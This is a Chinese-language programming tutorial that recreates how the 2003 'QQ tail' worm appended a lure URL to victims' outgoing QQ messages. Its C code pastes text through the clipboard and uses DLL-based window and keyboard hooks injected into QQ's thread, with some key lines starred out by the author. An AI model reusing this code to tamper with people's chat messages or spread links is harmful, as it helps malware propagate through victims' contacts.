“QQ尾巴”病毒的制作方法
2003这一年里,QQ尾巴病毒可以算是风光了一阵子。它利用IE的邮件头漏洞在QQ上疯狂传播。中毒者在给别人发信息时,病毒会自动在信息文本的后边添上一句话,话的内容多种多样,总之就是希望信息的接收者点击这句话中的URL,成为下一个中毒者。下图就是染毒后的QQ发送的消息,其中中毒者只打了“你好”两个字,其它的就全是病毒的杰作了。
下面我将要讨论的,就是QQ尾巴病毒使用的这一技术。由于病毒的源代码无法获得,所以以下的代码全是我主观臆断所得,所幸的是效果基本与病毒本身一致。
注:考虑到安全方面的原因,本文某些地方用了*号来代替正确代码。
粘贴尾巴
首先的一个最简单的问题是如何添加文本。这一技术毫无秘密可言,就是通过剪贴板向QQ消息的那个RichEdit“贴”上一句话而已。代码如下:
TCHAR g_str[] = "欢迎来我的小站坐坐:http://titilima.nease.net";
// 函数功能:向文本框中粘贴尾巴
void PasteText(HWND hRich)
{
HGLOBAL hMem;
LPTSTR pStr;
// 分配内存空间
hMem = GlobalAlloc(GHND GMEM_SHARE, sizeof(g_str));
pStr = GlobalLock(hMem);
lstrcpy(pStr, g_str);
GlobalUnlock(hMem);
OpenClipboard(NULL);
EmptyClipboard();
// 设置剪贴板文本
SetClipboardData(CF_TEXT, hMem);
CloseClipboard();
// 释放内存空间
GlobalFree(hMem);
// 粘贴文本
***********(*****, **_*****,*,*);
}
钩子
好了,那么下面的问题是,这段文本应该在什么时候贴呢?网上有一些研究QQ尾巴实现的文章指出,可以用计时器来控制粘贴的时间,类似这个样子:
void CQQTailDlg::OnTimer(UINT nIDEvent)
{
PasteText(hRich);
}
这的确是一种解决的手段,然而它也存在着极大的局限性——计时器的间隔如何设置?也许中毒者正在打字,尾巴文本“唰”的出现了……
然而病毒本身却不是这样子,它能够准确地在你单击“发送”或按下Ctrl+Enter键的时候将文本粘贴上。2003年1月份我的一台P2曾经中过毒,由于系统速度较慢,所以可以很清楚地看见文本粘贴的时机。
讲到这里,我所陈述的这些事实一定会让身为读者的你说:钩子!——对,就是钩子,下面我所说的正是用钩子来真实地再现“QQ尾巴病毒”的这一技术。
首先我对钩子做一个简要的介绍,已经熟悉钩子的朋友们可以跳过这一段。所谓Win32钩子(hook)并不是铁钩船长那只人工再现的手臂,而是一段子程 序,它可以用来监视、检测系统中的特定消息,并完成一些特定的功能。打个比方来说,你的程序是皇帝,Windows系统充当各省的巡抚;至于钩子,则可以 算是皇上的一个钦差。譬如皇帝下旨在全国收税,然后派了一个钦差找到山西巡抚说:“皇上有旨,山西除正常赋税外,加收杏花村酒十坛。”(-_-#……)正 如皇帝可以用这种方法来特殊对待特定的巡抚一样,程序员也可以用钩子来捕获处理Windows系统中特定的消息。
问题具体到了“QQ尾巴病毒”上边,就是我们需要一个钩子,在用户单击了“发送”按钮之后,粘贴我们的文本。我所实现的这段钩子过程为(至于如何挂接这个钩子,我会在稍后说明):
// 钩子过程,监视“发送”的命令消息
LRESULT CALLBACK CallWndProc(int nCode, WPARAM wParam, LPARAM lParam)
{
********* ** = (********* *)******;
// 捕获“发送”按钮
if (p->message == WM_COMMAND && LOWORD(p->wParam) == 1)
PasteText(g_hRich);
return CallNextHookEx(g_hProc, nCode, wParam, lParam);
}
在此我对这个回调过程说明几点:
1、lParam是一个指向CWPSTRUCT结构的指针,这个结构的描述如下:
typedef struct {
LPARAM lParam;
WPARAM wParam;
UINT message;
**** ****;
} CWPSTRUCT, *PCWPSTRUCT;
这时候像我一样的SDK fans也许会会心一笑:这不是窗口回调的那四个铁杆参数么?如你所说,的确是这样,你甚至可以使用switch (p->message) { /* ... */ }这样的代码写成的钩子函数来全面接管QQ窗口。
2、g_hRich是一个全局变量,它保存的是QQ消息文本框的句柄。这里之所以采用全局变量,是因为我无法从键盘钩子回调函数的参数中获得这个句柄。至于如何获得这个句柄以及这个全局变量的特殊位置,我会在稍后说明。
3、CallNextHookEx是调用钩子链中的下一个处理过程,换了钦差就会说:“十坛杏花村酒本钦差已经替皇上收下了,现在请巡抚大人把贵省正常 的赋税交上来吧。”(-_-#……)这是书写钩子函数中很重要的一个环节,如果少了这一句,那么可能会导致系统的钩子链出现错误,某些程序也会没有响应 ——事实上我在编写这个仿真程序的时候QQ就当掉了几回。
4、你也许会问为什么我捕获的是WM_COMMAND消息,这个原因让我来用下面的SDK代码(虽然QQ是用MFC写的,但是用SDK代码才能说明WM_COMMAND和“发送”按钮的关系)来说明:
#define IDC_BTN_SENDMSG 1 // “发送”按钮ID的宏定义
// QQ发送消息对话框回调过程·李马伪造版
LRESULT CALLBACK ProcSendDlg(HWND hDlg, UINT Msg, WPARAM wParam, LPARAM lParam)
{
switch (Msg)
{
case WM_CLOSE:
EndDialog(hDlg, 0);
break;
case WM_COMMAND:
{
switch (LOWORD(wParam))
{
case IDC_BTN_SENDMSG:
// 发送消息...
*****;
// 其它的命令按钮处理部分...
}
}
break;
// 其它的case部分...
}
****** *;
}
消 息发送的整个过程是:当用户单击了“发送”按钮后,这个按钮的父窗口(也就是“发送消息”的对话框)会收到一条WM_COMMAND的通知消息,其中 wParam的低位字(即LOWORD(wParam))为这个按钮的ID,然后再调用代码中发送的部分: 所以,在此我捕获WM_COMMAND消 息要比捕获其它消息或挂接鼠标钩子要有效得多。
好了,现在这个钩子已经可以胜利地完成任务了。但是请不要忘记:有更多的用户更偏爱于用“Ctrl+Enter”热键来发送消息,所以程序中还需要挂上一个键盘钩子:
// 键盘钩子过程,监视“发送”的热键消息
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
// 捕获热键消息
if (wParam == VK_RETURN && GetAsyncKeyState(VK_CONTROL) < 0 && ******* >= 0)
PasteText(g_hRich);
return CallNextHookEx(g_hKey, nCode, wParam, lParam);
}
在这里惟一要解释的一点就是lParam >= 0子句。很明显这个if判断是在判断热键Ctrl+Enter的输入,那么lParam >= 0又是 什么呢?事实上在键盘钩子的回调之中,lParam是一个很重要的参数,它包含了击键的重复次数、扫描码、扩展键标志等等的信息。其中lParam的最高 位(0x80000000)则表示了当前这个键是否被按下,如果这个位正在被按下,这个位就是0,反之为1。所以lParam >= 0的意思就是在 WM_KEYDOWN的时候调用PasteText,也就是说,如果去掉这个条件,PasteText将会被调用两次(连同WM_KEYUP的一次)。
挂接钩子和查找窗口
接下来就是如何挂接这两个钩子了。对于挂接钩子,要解决的问题是:往哪里挂接钩子,以及如何挂接?
挂接钩子的目标,肯定是QQ“发送信息”窗口的所属线程。我的代码就是将这个窗口的句柄传入之后来进行钩子的挂接:
// 挂接钩子
BOOL WINAPI SetHook(HWND hQQ)
{
BOOL bRet = FALSE;
if (hQQ != NULL)
{
DWORD dwThreadID = GetWindowThreadProcessId(hQQ, NULL);
// 感谢好友hottey的查找代码,省去了我使用Spy++的麻烦
g_hRich = GetWindow(GetDlgItem(hQQ, 0), GW_CHILD);
if (g_hRich == NULL)
****** *****;
// 挂接钩子
g_hProc = SetWindowsHookEx(WH_CALLWNDPROC, CallWndProc, g_hInstDLL, dwThreadID);
g_hKey = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, g_hInstDLL, dwThreadID);
bRet = (g_hProc != NULL) && (g_hKey != NULL);
}
****
{
// 卸载钩子
bRet = UnhookWindowsHookEx(g_hProc) && UnhookWindowsHookEx(g_hKey);
g_hProc = NULL;
g_hKey = NULL;
g_hRich = NULL;
}
return bRet;
}
到此为止,以上所有的代码都位于一个Hook.dll的动态链接库之中,关于DLL我就不多介绍了,请查阅MSDN上的相关资料和本文的配套源代码。
DLL之中已经做好了所有重要的工作(事实上这部分工作也只能由DLL来完成,这是由Windows虚拟内存机制决定的),我们只需要在EXE之中调用导出的SetHook函数就可以了。那么,SetHook的参数如何获得呢?请看以下代码:
// 感谢好友hottey的查找代码,省去了我使用Spy++的麻烦
HWND hSend;
*_*** = ****;
SetHook(NULL);
**
{
g_hQQ = FindWindowEx(NULL, g_hQQ, "#32770", NULL);
hSend = FindWindowEx(g_hQQ, NULL, "Button", "发送(&S)");
} while(g_hQQ != NULL && hSend == NULL);
if (g_hQQ != NULL)
SetHook(g_hQQ);
这段代码中的do-while循环就是用来查找“发送消息”的窗口的,QQ窗口的保密性越来越强了,窗口一层套一层,找起来十分不便,所以在此感谢好友 hottey的《QQ消息炸弹随想》一文省去了我反复使用Spy++的麻烦。我所做的,只是把他文中的Delphi代码翻译成了C代码。
DLL的共享数据段
如果你对DLL不甚了解,那么在你读到我的配套源代码之后,肯定会对下面这一段代码有些疑问:
// 定义共享数据段
#pragma data_seg("shared")
HHOOK g_hProc = NULL; // 窗口过程钩子句柄
HHOOK g_hKey = NULL; // 键盘钩子句柄
HWND g_hRich = NULL; // 文本框句柄
#pragma data_seg()
#pragma comment(linker, "/section:shared,rws")
这定义了一段共享的数据段,是的,因为我的注释已经写得很清楚了,那么共享数据段起到了什么作用呢?在回答这个问题之前,我请你把代码中以#开头的预处理指令注释掉然后重新编译这个DLL并运行,你会发现什么?
是的,添加尾巴失败!
好了,我来解释一下这个问题。我们的这个仿真程序的EXE、DLL以及QQ的主程序事实上是下面这样一种关系:
这个DLL需要将一个实例映射到EXE的地址空间之中以供其调用,还需要将另一个实例映射到QQ的地址空间之中来完成挂接钩子的工作。也就是说,当钩子 挂接完毕之后,整个系统的模块中,有两个DLL实例的存在!此DLL非彼DLL也,所以它们之间是没有任何联系的。拿全局变量g_hRich来说,图中左 边的DLL通过EXE的传入获得了文本框的句柄,然而如果没有共享段的话,那么右边的DLL中,g_hRich仍然是NULL。共享段于此的意义也就体现 出来了,就是为了保证EXE、DLL、QQ三者之间的联系。这一点,和C++中static的成员变量有些相似。
在钩子挂接成功之后,你可以通过一些有模块查看功能的进程管理器看一看,就会发现Hook.dll也位于QQ.exe的模块之中。
最后一些要说的
1、我是前说过,在2003年的1月份我就碰到了这种病毒,至今我还很清楚地记得那个病毒EXE只有16KB大小,所以从病毒本身存在的性质来说,这个东西应该是用Win32ASM来写会更实用一些。
2、那个病毒我曾经是手杀的——用了一个进程查看工具就杀掉了。但是现在的“QQ尾巴”增加了复活功能——在EXE被杀掉后,DLL会将其唤醒。我曾经用我的进程查看工具分析过,发现系统中几乎所有的进程都被病毒的DLL挂住了。这一技术是利用CreateRemoteThread在所有的进程上各插入了一个额外的复活线程,真可谓是一石二鸟——保证EXE永远运行,同时这个正在使用中的DLL是无法被删除的。这一技术我也已经实现了,但是稳定性方面远不及病毒本身做得优秀,故在此也就不将其写出了,有兴趣的朋友可以参考Jeffrey Richter《Windows核心编程》的相关章节。